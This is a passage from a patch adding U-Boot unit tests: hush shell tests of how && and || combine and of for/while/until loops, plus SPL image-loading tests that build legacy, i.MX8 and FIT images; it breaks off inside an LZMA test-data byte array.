+ if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_asserteq(1, run_command("false && false || true", 0));
+ } else if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * This difference seems to come from a bug solved in Busybox
+ * hush.
+ *
+ * Indeed, the following expression can be seen like this:
+ * (false && false) || true
+ * So, (false && false) returns 1, the second false is not
+ * executed, and true is executed because of ||.
+ */
+ ut_assertok(run_command("false && false || true", 0));
+ }
+
+ if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_asserteq(1, run_command("false && true || true", 0));
+ } else if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * This difference seems to come from a bug solved in Busybox
+ * hush.
+ *
+ * Indeed, the following expression can be seen like this:
+ * (false && true) || true
+ * So, (false && true) returns 1, the true is not executed, and
+ * true is executed because of ||.
+ */
+ ut_assertok(run_command("false && true || true", 0));
+ }
+
+ ut_asserteq(1, run_command("false && true || false", 0));
+ ut_assertok(run_command("true && true || false", 0));
+ ut_asserteq(1, run_command("true && false || false", 0));
+ ut_assertok(run_command("true && false || true", 0));
+ ut_assertok(run_command("true && true || true", 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_and_or, 0);
+
+static int hush_test_or_and(struct unit_test_state *uts)
+{
+ /* A || B && C truth table. */
+ ut_asserteq(1, run_command("false || false && false", 0));
+ ut_asserteq(1, run_command("false || false && true", 0));
+ ut_assertok(run_command("false || true && true", 0));
+ ut_asserteq(1, run_command("false || true && false", 0));
+
+ if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_assertok(run_command("true || true && false", 0));
+ } else if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * This difference seems to come from a bug solved in Busybox
+ * hush.
+ *
+ * Indeed, the following expression can be seen like this:
+ * (true || true) && false
+ * So, (true || true) returns 0, the second true is not
+ * executed, and then false is executed because of &&.
+ */
+ ut_asserteq(1, run_command("true || true && false", 0));
+ }
+
+ if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ ut_assertok(run_command("true || false && false", 0));
+ } else if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * This difference seems to come from a bug solved in Busybox
+ * hush.
+ *
+ * Indeed, the following expression can be seen like this:
+ * (true || false) && false
+ * So, (true || false) returns 0, the false is not executed, and
+ * then false is executed because of &&.
+ */
+ ut_asserteq(1, run_command("true || false && false", 0));
+ }
+
+ ut_assertok(run_command("true || false && true", 0));
+ ut_assertok(run_command("true || true && true", 0));
+
+ return 0;
+}
+HUSH_TEST(hush_test_or_and, 0);
diff --git a/test/hush/loop.c b/test/hush/loop.c
new file mode 100644
index 00000000000..d734abf136d
--- /dev/null
+++ b/test/hush/loop.c
@@ -0,0 +1,90 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2021
+ * Francis Laniel, Amarula Solutions, francis.laniel@amarulasolutions.com
+ */
+
+#include <command.h>
+#include <env_attr.h>
+#include <test/hush.h>
+#include <test/ut.h>
+#include <asm/global_data.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int hush_test_for(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+
+ ut_assertok(run_command("for loop_i in foo bar quux quux; do echo $loop_i; done", 0));
+ ut_assert_nextline("foo");
+ ut_assert_nextline("bar");
+ ut_assert_nextline("quux");
+ ut_assert_nextline("quux");
+ ut_assert_console_end();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /* Reset local variable. */
+ ut_assertok(run_command("loop_i=", 0));
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ puts("Beware: this test set local variable loop_i and it cannot be unset!");
+ }
+
+ return 0;
+}
+HUSH_TEST(hush_test_for, 0);
+
+static int hush_test_while(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /*
+ * Hush 2021 always returns 0 from while loop...
+ * You can see code snippet near this line to have a better
+ * understanding:
+ * debug_printf_exec(": while expr is false: breaking (exitcode:EXIT_SUCCESS)\n");
+ */
+ ut_assertok(run_command("while test -z \"$loop_foo\"; do echo bar; loop_foo=quux; done", 0));
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ /*
+ * Exit status is that of test, so 1 since test is false to quit
+ * the loop.
+ */
+ ut_asserteq(1, run_command("while test -z \"$loop_foo\"; do echo bar; loop_foo=quux; done", 0));
+ }
+ ut_assert_nextline("bar");
+ ut_assert_console_end();
+
+ if (gd->flags & GD_FLG_HUSH_MODERN_PARSER) {
+ /* Reset local variable. */
+ ut_assertok(run_command("loop_foo=", 0));
+ } else if (gd->flags & GD_FLG_HUSH_OLD_PARSER) {
+ puts("Beware: this test set local variable loop_foo and it cannot be unset!");
+ }
+
+ return 0;
+}
+HUSH_TEST(hush_test_while, 0);
+
+static int hush_test_until(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+ env_set("loop_bar", "bar");
+
+ /*
+ * WARNING We have to use environment variable because it is not possible
+ * resetting local variable.
+ */
+ ut_assertok(run_command("until test -z \"$loop_bar\"; do echo quux; setenv loop_bar; done", 0));
+ ut_assert_nextline("quux");
+ ut_assert_console_end();
+
+ /*
+ * Loop normally resets foo environment variable, but we reset it here in
+ * case the test failed.
+ */
+ env_set("loop_bar", NULL);
+ return 0;
+}
+HUSH_TEST(hush_test_until, 0);
diff --git a/test/image/Kconfig b/test/image/Kconfig
new file mode 100644
index 00000000000..45b6e8c52e6
--- /dev/null
+++ b/test/image/Kconfig
@@ -0,0 +1,60 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+
+config SPL_UT_LOAD
+ bool "Unit tests for SPL load methods"
+ depends on SPL_UNIT_TEST
+ default y if SANDBOX
+ help
+ Test various SPL load methods.
+
+if SPL_UT_LOAD
+
+config SPL_UT_LOAD_FS
+ bool "Unit tests for filesystems"
+ depends on SANDBOX && SPL_OF_REAL
+ depends on FS_LOADER
+ depends on SPL_BLK_FS
+ depends on SPL_FS_FAT
+ depends on SPL_FS_EXT4
+ depends on SPL_MMC_WRITE
+ depends on SYS_MMCSD_RAW_MODE_U_BOOT_USE_SECTOR
+ default y
+ help
+ Test filesystems and the various load methods which use them.
+
+config SPL_UT_LOAD_NAND
+ bool "Test loading from NAND flash"
+ depends on SANDBOX && SPL_OF_REAL
+ depends on SPL_NAND_SUPPORT
+ depends on SPL_MTD
+ default y
+ help
+ Test the NAND flash load method.
+
+config SPL_UT_LOAD_NET
+ bool "Test loading over TFTP"
+ depends on SANDBOX && SPL_OF_REAL
+ depends on SPL_ETH
+ depends on USE_BOOTFILE
+ default y
+ help
+ Test loading images over TFTP using the NET image load method.
+
+config SPL_UT_LOAD_SPI
+ bool "Test loading from SPI Flash"
+ depends on SANDBOX && SPL_OF_REAL
+ depends on SPL_SPI_LOAD
+ default y
+ help
+ Test the SPI flash image load metod.
+
+config SPL_UT_LOAD_OS
+ bool "Test loading from the host OS"
+ depends on SANDBOX && SPL_LOAD_FIT
+ select SPL_LOAD_BLOCK
+ default y
+ help
+ Smoke test to ensure that loading U-boot works in sandbox.
+
+endif
diff --git a/test/image/Makefile b/test/image/Makefile
new file mode 100644
index 00000000000..11ed25734e8
--- /dev/null
+++ b/test/image/Makefile
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright 2021 Google LLC
+
+obj-y += spl_load.o
+obj-$(CONFIG_SPL_UT_LOAD_FS) += spl_load_fs.o
+obj-$(CONFIG_SPL_UT_LOAD_NAND) += spl_load_nand.o
+obj-$(CONFIG_SPL_UT_LOAD_NET) += spl_load_net.o
+obj-$(CONFIG_SPL_NOR_SUPPORT) += spl_load_nor.o
+obj-$(CONFIG_SPL_UT_LOAD_OS) += spl_load_os.o
+obj-$(CONFIG_SPL_UT_LOAD_SPI) += spl_load_spi.o
diff --git a/test/image/spl_load.c b/test/image/spl_load.c
new file mode 100644
index 00000000000..7cbad40ea0c
--- /dev/null
+++ b/test/image/spl_load.c
@@ -0,0 +1,661 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <image.h>
+#include <imx_container.h>
+#include <mapmem.h>
+#include <memalign.h>
+#include <rand.h>
+#include <spi_flash.h>
+#include <spl.h>
+#include <test/spl.h>
+#include <test/ut.h>
+#include <u-boot/crc.h>
+
+int board_fit_config_name_match(const char *name)
+{
+ return 0;
+}
+
+struct legacy_img_hdr *spl_get_load_buffer(ssize_t offset, size_t size)
+{
+ return map_sysmem(0x100000, 0);
+}
+
+/* Try to reuse the load buffer to conserve memory */
+void *board_spl_fit_buffer_addr(ulong fit_size, int sectors, int bl_len)
+{
+ static void *buf;
+ static size_t size;
+
+ if (size < sectors * bl_len) {
+ free(buf);
+ size = sectors * bl_len;
+ buf = malloc_cache_aligned(size);
+ }
+ return buf;
+}
+
+/* Local flags for spl_image; start from the "top" to avoid conflicts */
+#define SPL_IMX_CONTAINER 0x80000000
+#define SPL_COMP_LZMA 0x40000000
+
+void generate_data(char *data, size_t size, const char *test_name)
+{
+ int i;
+ unsigned int seed = 1;
+
+ while (*test_name) {
+ seed += *test_name++;
+ rand_r(&seed);
+ }
+
+ for (i = 0; i < size; i++)
+ data[i] = (i & 0xf) << 4 | (rand_r(&seed) & 0xf);
+}
+
+static size_t create_legacy(void *dst, struct spl_image_info *spl_image,
+ size_t *data_offset)
+{
+ struct legacy_img_hdr *hdr = dst;
+ void *data = dst + sizeof(*hdr);
+
+ if (data_offset)
+ *data_offset = data - dst;
+
+ if (!dst)
+ goto out;
+
+ image_set_magic(hdr, IH_MAGIC);
+ image_set_time(hdr, 0);
+ image_set_size(hdr, spl_image->size);
+ image_set_load(hdr, spl_image->load_addr);
+ image_set_ep(hdr, spl_image->entry_point);
+ image_set_dcrc(hdr, crc32(0, data, spl_image->size));
+ image_set_os(hdr, spl_image->os);
+ image_set_arch(hdr, IH_ARCH_DEFAULT);
+ image_set_type(hdr, IH_TYPE_FIRMWARE);
+ image_set_comp(hdr, spl_image->flags & SPL_COMP_LZMA ? IH_COMP_LZMA :
+ IH_COMP_NONE);
+ image_set_name(hdr, spl_image->name);
+ image_set_hcrc(hdr, crc32(0, (void *)hdr, sizeof(*hdr)));
+
+out:
+ return sizeof(*hdr) + spl_image->size;
+}
+
+static size_t create_imx8(void *dst, struct spl_image_info *spl_image,
+ size_t *data_offset)
+{
+ struct container_hdr *hdr = dst;
+ struct boot_img_t *img = dst + sizeof(*hdr);
+ size_t length = sizeof(*hdr) + sizeof(*img);
+ /* Align to MMC block size for now */
+ void *data = dst + 512;
+
+ if (data_offset)
+ *data_offset = data - dst;
+
+ if (!dst)
+ goto out;
+
+ hdr->version = CONTAINER_HDR_VERSION;
+ hdr->length_lsb = length & 0xff;
+ hdr->length_msb = length >> 8;
+ hdr->tag = CONTAINER_HDR_TAG;
+ hdr->num_images = 1;
+
+ /* spl_load_imx_container doesn't handle endianness; whoops! */
+ img->offset = data - dst;
+ img->size = spl_image->size;
+ img->dst = spl_image->load_addr;
+ img->entry = spl_image->entry_point;
+
+out:
+ return data - dst + spl_image->size;
+}
+
+#define ADDRESS_CELLS (sizeof(uintptr_t) / sizeof(u32))
+
+static inline int fdt_property_addr(void *fdt, const char *name, uintptr_t val)
+{
+ if (sizeof(uintptr_t) == sizeof(u32))
+ return fdt_property_u32(fdt, name, val);
+ return fdt_property_u64(fdt, name, val);
+}
+
+static size_t start_fit(void *dst, size_t fit_size, size_t data_size,
+ bool external)
+{
+ void *data;
+
+ if (fdt_create(dst, fit_size))
+ return 0;
+ if (fdt_finish_reservemap(dst))
+ return 0;
+ if (fdt_begin_node(dst, ""))
+ return 0;
+ if (fdt_property_u32(dst, FIT_TIMESTAMP_PROP, 0))
+ return 0;
+ if (fdt_property_u32(dst, "#address-cells", ADDRESS_CELLS))
+ return 0;
+ if (fdt_property_string(dst, FIT_DESC_PROP, ""))
+ return 0;
+
+ if (fdt_begin_node(dst, "images"))
+ return 0;
+ if (fdt_begin_node(dst, "u-boot"))
+ return 0;
+
+ if (external) {
+ if (fdt_property_u32(dst, FIT_DATA_OFFSET_PROP, 0))
+ return 0;
+ return fit_size;
+ }
+
+ if (fdt_property_placeholder(dst, FIT_DATA_PROP, data_size, &data))
+ return 0;
+ return data - dst;
+}
+
+static size_t create_fit(void *dst, struct spl_image_info *spl_image,
+ size_t *data_offset, bool external)
+{
+ size_t prop_size = 596, total_size = prop_size + spl_image->size;
+ size_t off, size;
+
+ if (external) {
+ size = prop_size;
+ off = size;
+ } else {
+ char tmp[256];
+
+ size = total_size;
+ off = start_fit(tmp, sizeof(tmp), 0, false);
+ if (!off)
+ return 0;
+ }
+
+ if (data_offset)
+ *data_offset = off;
+
+ if (!dst)
+ goto out;
+
+ if (start_fit(dst, size, spl_image->size, external) != off)
+ return 0;
+
+ if (fdt_property_string(dst, FIT_DESC_PROP, spl_image->name))
+ return 0;
+ if (fdt_property_string(dst, FIT_TYPE_PROP, "firmware"))
+ return 0;
+ if (fdt_property_string(dst, FIT_COMP_PROP, "none"))
+ return 0;
+ if (fdt_property_u32(dst, FIT_DATA_SIZE_PROP, spl_image->size))
+ return 0;
+ if (fdt_property_string(dst, FIT_OS_PROP,
+ genimg_get_os_short_name(spl_image->os)))
+ return 0;
+ if (fdt_property_string(dst, FIT_ARCH_PROP,
+ genimg_get_arch_short_name(IH_ARCH_DEFAULT)))
+ return 0;
+ if (fdt_property_addr(dst, FIT_ENTRY_PROP, spl_image->entry_point))
+ return 0;
+ if (fdt_property_addr(dst, FIT_LOAD_PROP, spl_image->load_addr))
+ return 0;
+ if (fdt_end_node(dst)) /* u-boot */
+ return 0;
+ if (fdt_end_node(dst)) /* images */
+ return 0;
+
+ if (fdt_begin_node(dst, "configurations"))
+ return 0;
+ if (fdt_property_string(dst, FIT_DEFAULT_PROP, "config-1"))
+ return 0;
+ if (fdt_begin_node(dst, "config-1"))
+ return 0;
+ if (fdt_property_string(dst, FIT_DESC_PROP, spl_image->name))
+ return 0;
+ if (fdt_property_string(dst, FIT_FIRMWARE_PROP, "u-boot"))
+ return 0;
+ if (fdt_end_node(dst)) /* configurations */
+ return 0;
+ if (fdt_end_node(dst)) /* config-1 */
+ return 0;
+
+ if (fdt_end_node(dst)) /* root */
+ return 0;
+ if (fdt_finish(dst))
+ return 0;
+
+ if (external) {
+ if (fdt_totalsize(dst) > size)
+ return 0;
+ fdt_set_totalsize(dst, size);
+ }
+
+out:
+ return total_size;
+}
+
+size_t create_image(void *dst, enum spl_test_image type,
+ struct spl_image_info *info, size_t *data_offset)
+{
+ bool external = false;
+
+ info->os = IH_OS_U_BOOT;
+ info->load_addr = CONFIG_TEXT_BASE;
+ info->entry_point = CONFIG_TEXT_BASE + 0x100;
+ info->flags = 0;
+
+ switch (type) {
+ case LEGACY_LZMA:
+ info->flags = SPL_COMP_LZMA;
+ case LEGACY:
+ return create_legacy(dst, info, data_offset);
+ case IMX8:
+ info->flags = SPL_IMX_CONTAINER;
+ return create_imx8(dst, info, data_offset);
+ case FIT_EXTERNAL:
+ /*
+ * spl_fit_append_fdt will clobber external images with U-Boot's
+ * FDT if the image doesn't have one. Just set the OS to
+ * something which doesn't take a devicetree.
+ */
+ if (!IS_ENABLED(CONFIG_LOAD_FIT_FULL))
+ info->os = IH_OS_TEE;
+ external = true;
+ case FIT_INTERNAL:
+ info->flags = SPL_FIT_FOUND;
+ return create_fit(dst, info, data_offset, external);
+ }
+
+ return 0;
+}
+
+int check_image_info(struct unit_test_state *uts, struct spl_image_info *info1,
+ struct spl_image_info *info2)
+{
+ if (info2->name) {
+ if (info1->flags & SPL_FIT_FOUND)
+ ut_asserteq_str(genimg_get_os_name(info1->os),
+ info2->name);
+ else
+ ut_asserteq_str(info1->name, info2->name);
+ }
+
+ if (info1->flags & SPL_IMX_CONTAINER)
+ ut_asserteq(IH_OS_INVALID, info2->os);
+ else
+ ut_asserteq(info1->os, info2->os);
+
+ ut_asserteq(info1->entry_point, info2->entry_point);
+ if (info1->flags & (SPL_FIT_FOUND | SPL_IMX_CONTAINER) ||
+ info2->flags & SPL_COPY_PAYLOAD_ONLY) {
+ ut_asserteq(info1->load_addr, info2->load_addr);
+ if (info1->flags & SPL_IMX_CONTAINER)
+ ut_asserteq(0, info2->size);
+ else if (!(info1->flags & SPL_COMP_LZMA))
+ ut_asserteq(info1->size, info2->size);
+ } else {
+ ut_asserteq(info1->load_addr - sizeof(struct legacy_img_hdr),
+ info2->load_addr);
+ ut_asserteq(info1->size + sizeof(struct legacy_img_hdr),
+ info2->size);
+ }
+
+ return 0;
+}
+
+static ulong spl_test_read(struct spl_load_info *load, ulong sector,
+ ulong count, void *buf)
+{
+ memcpy(buf, load->priv + sector, count);
+ return count;
+}
+
+static int spl_test_image(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type)
+{
+ size_t img_size, img_data, data_size = SPL_TEST_DATA_SIZE;
+ struct spl_image_info info_write = {
+ .name = test_name,
+ .size = data_size,
+ }, info_read = { };
+ char *data;
+ void *img;
+
+ img_size = create_image(NULL, type, &info_write, &img_data);
+ ut_assert(img_size);
+ img = calloc(img_size, 1);
+ ut_assertnonnull(img);
+
+ data = img + img_data;
+ generate_data(data, data_size, test_name);
+ ut_asserteq(img_size, create_image(img, type, &info_write, NULL));
+
+ if (type == LEGACY) {
+ ut_assertok(spl_parse_image_header(&info_read, NULL, img));
+ if (check_image_info(uts, &info_write, &info_read))
+ return CMD_RET_FAILURE;
+ } else {
+ struct spl_load_info load;
+
+ spl_set_bl_len(&load, 1);
+ load.priv = img;
+ load.read = spl_test_read;
+ if (type == IMX8)
+ ut_assertok(spl_load_imx_container(&info_read, &load,
+ 0));
+ else if (IS_ENABLED(CONFIG_SPL_FIT_FULL))
+ ut_assertok(spl_parse_image_header(&info_read, NULL,
+ img));
+ else
+ ut_assertok(spl_load_simple_fit(&info_read, &load, 0,
+ img));
+ if (check_image_info(uts, &info_write, &info_read))
+ return CMD_RET_FAILURE;
+ ut_asserteq_mem(data, phys_to_virt(info_write.load_addr),
+ data_size);
+ }
+
+ free(img);
+ return 0;
+}
+SPL_IMG_TEST(spl_test_image, LEGACY, 0);
+SPL_IMG_TEST(spl_test_image, IMX8, 0);
+SPL_IMG_TEST(spl_test_image, FIT_INTERNAL, 0);
+SPL_IMG_TEST(spl_test_image, FIT_EXTERNAL, 0);
+
+/*
+ * LZMA is too complex to generate on the fly, so let's use some data I put in
+ * the oven^H^H^H^H compressed earlier
+ */
+const char lzma_compressed[] = {
+ 0x5d, 0x00, 0x00, 0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+ 0xff, 0x00, 0x02, 0x05, 0x55, 0x4e, 0x82, 0xbc, 0xc2, 0x42, 0xf6, 0x88,
+ 0x6c, 0x99, 0xd6, 0x82, 0x48, 0xa6, 0x06, 0x67, 0xf8, 0x46, 0x7c, 0xe9,
+ 0x41, 0x79, 0xfe, 0x90, 0x0b, 0x31, 0x7b, 0x79, 0x91, 0xb8, 0x5f, 0x33,
+ 0x11, 0x04, 0xc3, 0x4f, 0xf5, 0x71, 0xd1, 0xfb, 0x94, 0x6b, 0x5f, 0x78,
+ 0xe2, 0xfa, 0x6a, 0x21, 0xb6, 0x1d, 0x11, 0x0e, 0x5b, 0x56, 0x6a, 0x5b,
+ 0xe9, 0x56, 0x5f, 0x8b, 0x87, 0x61, 0x96, 0x6d, 0xce, 0x66, 0xbb, 0xb6,
+ 0xe7, 0x13, 0x5a, 0xd8, 0x84, 0x29, 0x60, 0xa0, 0x80, 0x43, 0xdd, 0x0f,
+ 0x4b, 0x85, 0xb0, 0x04, 0x9d, 0x9f, 0x28, 0x97, 0x0a, 0x1e, 0x16, 0xb0,
+ 0x45, 0x33, 0x5e, 0x79, 0x4f, 0xaa, 0xee, 0x79, 0x6e, 0xc3, 0x4e, 0x3d,
+ 0xe8, 0x67, 0x7c, 0xe0, 0xd0, 0xcc, 0x05, 0x40, 0xae, 0x6b, 0x97, 0x82,
+ 0x97, 0x02, 0x01, 0xe2, 0xe3, 0xbc, 0xe4, 0x9b, 0xb3, 0x28, 0xed, 0x5e,
+ 0x0d, 0x68, 0x6e, 0xe5, 0x17, 0x0a, 0x86, 0x5a, 0xcd, 0x8d, 0x46, 0x2d,
+ 0x06, 0x10, 0xa6, 0x90, 0x44, 0xa1, 0xfc, 0x66, 0x6d, 0x7c, 0x57, 0x57,
+ 0x07, 0xbc, 0x95, 0xb2, 0x8d, 0xf0, 0x9f, 0x4d, 0x90, 0x04, 0xaf, 0x0c,
+ 0x23, 0x51, 0x1b, 0x34, 0xd5, 0x5c, 0x5d, 0x87, 0x5e, 0x10, 0x2b, 0x71,
+ 0xc2, 0xcf, 0xc5, 0x9d, 0x4b, 0x89, 0x01, 0xc4, 0x97, 0xf2, 0xea, 0x83,
+ 0x97, 0xfa, 0xe0, 0x51, 0x96, 0x78, 0x4f, 0x44, 0xb8, 0xa8, 0x9d, 0x03,
+ 0x1c, 0x6e, 0xb7, 0xc6, 0xd7, 0xc5, 0x3e, 0x32, 0x65, 0xa7, 0x06, 0xab,
+ 0x86, 0xfb, 0xd2, 0x9b, 0xd7, 0x86, 0xa8, 0xfe, 0x46, 0x41, 0x2e, 0xc2,
+ 0x4e, 0xed, 0xa2, 0x9b, 0x79, 0x36, 0x37, 0x49, 0x90, 0xfc, 0xa6, 0x14,
+ 0x93, 0x17, 0x82, 0x62, 0x3f, 0x79, 0x6b, 0x86, 0xc2, 0xeb, 0x82, 0xfe,
+ 0x87, 0x49, 0xa5, 0x7e, 0x41, 0xe3, 0x59, 0x60, 0x15, 0x61, 0x4e, 0x3b,
+ 0x16, 0xcf, 0xdb, 0x49, 0x2c, 0x84, 0x92, 0x26, 0x40, 0x04, 0x78, 0xd3,
+ 0xd6, 0xa6, 0xed, 0x6e, 0x63, 0x49, 0xcb, 0xea, 0xfe, 0x43, 0x85, 0x21,
+ 0x1a, 0x28, 0x36, 0x0a, 0x3e, 0x2a, 0xad, 0xba, 0xfc, 0x8a, 0x37, 0x18,
+ 0xb4, 0x80, 0xbe, 0x6a, 0x36, 0x14, 0x03, 0xdd, 0xa3, 0x37, 0xbd, 0xc1,
+ 0x8a, 0xbb, 0x2d, 0xd4, 0x08, 0xd7, 0x4b, 0xc4, 0xe9, 0xb8, 0xb4, 0x65,
+ 0xdd, 0xf6, 0xe8, 0x17, 0x2c, 0x2c, 0x9b, 0x1e, 0x92, 0x0b, 0xcb, 0x22,
+ 0x7c, 0x1b, 0x74, 0x8d, 0x65, 0x11, 0x5f, 0xfe, 0xf5, 0x2a, 0xc2, 0xbe,
+ 0xea, 0xa2, 0xf1, 0x7b, 0xe8, 0xaf, 0x32, 0x5a, 0x0a, 0x5b, 0xd2, 0x5a,
+ 0x11, 0x22, 0x79, 0xfa, 0xae, 0x2d, 0xe8, 0xc6, 0x17, 0xba, 0x17, 0x81,
+ 0x6a, 0x63, 0xb5, 0x26, 0xd7, 0x8d, 0xd0, 0x66, 0x0c, 0x4a, 0x0c, 0x22,
+ 0x1b, 0x20, 0x9f, 0x3d, 0x0b, 0x1b, 0x59, 0x53, 0x89, 0x9b, 0x5e, 0xbd,
+ 0x3d, 0xd1, 0xdd, 0xff, 0xca, 0xb2, 0xb7, 0x12, 0x8d, 0x03, 0xaa, 0xc3,
+ 0x1d, 0x56, 0x76, 0x14, 0xf8, 0xee, 0xb3, 0xeb, 0x80, 0x38, 0xc1, 0xc1,
+ 0x1a, 0xef, 0x4a, 0xd5, 0x16, 0x1f, 0x5e, 0x21, 0x5d, 0x46, 0x01, 0xb3,
+ 0xa4, 0xf7, 0x99, 0x94, 0x05, 0xc6, 0xc8, 0x06, 0xd8, 0x1c, 0xac, 0x47,
+ 0x13, 0x54, 0x13, 0x1b, 0x1f, 0xb6, 0x23, 0x9c, 0x73, 0x2b, 0x57, 0x32,
+ 0x94, 0x92, 0xf1, 0x71, 0x44, 0x40, 0x02, 0xc3, 0x21, 0x4a, 0x2f, 0x36,
+ 0x5e, 0x8a, 0xd0, 0x4b, 0x02, 0xc7, 0x6e, 0xcf, 0xed, 0xa2, 0xdb, 0xce,
+ 0x0a, 0x0f, 0x66, 0x4f, 0xb2, 0x3d, 0xb6, 0xcc, 0x75, 0x45, 0x80, 0x0a,
+ 0x49, 0x4a, 0xe7, 0xe7, 0x24, 0x62, 0x65, 0xc7, 0x02, 0x22, 0x13, 0xbe,
+ 0x6c, 0xa9, 0x9a, 0x8b, 0xa9, 0x1b, 0x2b, 0x3a, 0xde, 0x5e, 0x37, 0xbd,
+ 0x7f, 0x85, 0xd1, 0x32, 0x1d, 0xbf, 0x03, 0x8a, 0x3b, 0xe5, 0xb3, 0xfd,
+ 0x01, 0xca, 0xde, 0x0d, 0x7a, 0x5b, 0x01, 0x05, 0x1d, 0x3c, 0x23, 0x00,
+ 0x60, 0xb7, 0x50, 0xfd, 0x0d, 0xd7, 0x63, 0x92, 0xd6, 0xb0, 0x48, 0x3a,
+ 0x2d, 0xa3, 0xf8, 0xf6, 0x44, 0xe1, 0xda, 0x3b, 0xf4, 0x39, 0x47, 0xc4,
+ 0x4d, 0x8f, 0x54, 0x78, 0xec, 0x27, 0x7b, 0xc6, 0xe4, 0x81, 0x3a, 0x3f,
+ 0xa5, 0x61, 0x9d, 0xcb, 0x71, 0x0b, 0x0d, 0x55, 0xea, 0x5b, 0xeb, 0x58,
+ 0xa5, 0x49, 0xb5, 0x44, 0x1b, 0xb0, 0x0d, 0x1f, 0x58, 0xfb, 0x7a, 0xd4,
+ 0x09, 0x1e, 0x9a, 0x7e, 0x21, 0xba, 0xb3, 0x36, 0xa6, 0x04, 0x74, 0xe1,
+ 0xd0, 0xca, 0x02, 0x11, 0x84, 0x93, 0x8f, 0x86, 0x3d, 0x79, 0xbf, 0xa8,
+ 0xec, 0x0a, 0x23, 0x5e, 0xde, 0xc4, 0xc6, 0xda, 0x45, 0xbd, 0x95, 0x74,
+ 0x7b, 0xbf, 0xc1, 0x80, 0x48, 0x3f, 0x10, 0xb6, 0xb9, 0x5c, 0x31, 0x52,
+ 0x06, 0x5a, 0xac, 0xec, 0x94, 0x21, 0x80, 0x51, 0xba, 0x64, 0xed, 0x9d,
+ 0x27, 0x72, 0x8d, 0x17, 0x43, 0x5f, 0xf1, 0x60, 0xfa, 0xb5, 0x65, 0xd4,
+ 0xb9, 0xf8, 0xfc, 0x48, 0x7b, 0xe3, 0xfe, 0xae, 0xe4, 0x71, 0x4a, 0x3d,
+ 0x8c, 0xf5, 0x72, 0x8b, 0xbf, 0x60, 0xd8, 0x6a, 0x8f, 0x51, 0x82, 0xae,
+ 0x98, 0xd0, 0x56, 0xf9, 0xa8, 0x3a, 0xad, 0x86, 0x26, 0xa8, 0x5a, 0xf8,
+ 0x63, 0x87, 0x2c, 0x74, 0xbf, 0xf9, 0x7d, 0x00, 0xa0, 0x2f, 0x17, 0x23,
+ 0xb7, 0x62, 0x94, 0x19, 0x47, 0x57, 0xf9, 0xa8, 0xe7, 0x4b, 0xe9, 0x2b,
+ 0xe8, 0xb4, 0x03, 0xbf, 0x23, 0x75, 0xfe, 0xc3, 0x94, 0xc0, 0xa9, 0x5b,
+ 0x07, 0xb5, 0x75, 0x87, 0xcc, 0xa5, 0xb5, 0x9b, 0x35, 0x29, 0xe4, 0xb1,
+ 0xaa, 0x04, 0x57, 0xe9, 0xa3, 0xd0, 0xa3, 0xe4, 0x11, 0xe1, 0xaa, 0x3b,
+ 0x67, 0x09, 0x60, 0x83, 0x23, 0x72, 0xa6, 0x7b, 0x73, 0x22, 0x5b, 0x4a,
+ 0xe0, 0xf0, 0xa3, 0xeb, 0x9c, 0x91, 0xda, 0xba, 0x8b, 0xc1, 0x32, 0xa9,
+ 0x24, 0x13, 0x51, 0xe4, 0x67, 0x49, 0x4a, 0xd9, 0x3d, 0xae, 0x80, 0xfd,
+ 0x0a, 0x0d, 0x56, 0x98, 0x66, 0xa2, 0x6d, 0x92, 0x54, 0x7f, 0x82, 0xe5,
+ 0x17, 0x39, 0xd3, 0xaa, 0xc4, 0x4e, 0x6f, 0xe1, 0x2e, 0xfe, 0x03, 0x44,
+ 0x8a, 0xdd, 0xeb, 0xc0, 0x74, 0x79, 0x63, 0x33, 0x2b, 0x4b, 0xb5, 0x62,
+ 0xdd, 0x47, 0xba, 0x6e, 0xfc, 0x91, 0x08, 0xa9, 0x17, 0x8c, 0x47, 0x61,
+ 0xd9, 0x32, 0xe9, 0xa0, 0xb3, 0xa2, 0x82, 0xc9, 0xa6, 0x32, 0xa1, 0xca,
+ 0x7c, 0x41, 0xa6, 0x5a, 0xe2, 0x46, 0xb6, 0x45, 0x53, 0x72, 0x55, 0x9e,
+ 0xdf, 0xac, 0x96, 0x68, 0xe5, 0xdc, 0x4e, 0x2d, 0xa8, 0x1e, 0x7a, 0x8e,
+ 0xff, 0x54, 0xe4, 0x0a, 0x33, 0x5d, 0x97, 0xdf, 0x4e, 0x36, 0x96, 0xba,
+ 0x52, 0xd9, 0xa9, 0xec, 0x52, 0xe5, 0x1d, 0x94, 0xfe, 0x1c, 0x46, 0x54,
+ 0xa6, 0x8e, 0x85, 0x47, 0xba, 0xeb, 0x4b, 0x8d, 0x57, 0xe4, 0x34, 0x24,
+ 0x9e, 0x80, 0xb5, 0xc9, 0xa9, 0x94, 0x1d, 0xe4, 0x18, 0xb6, 0x07, 0x1e,
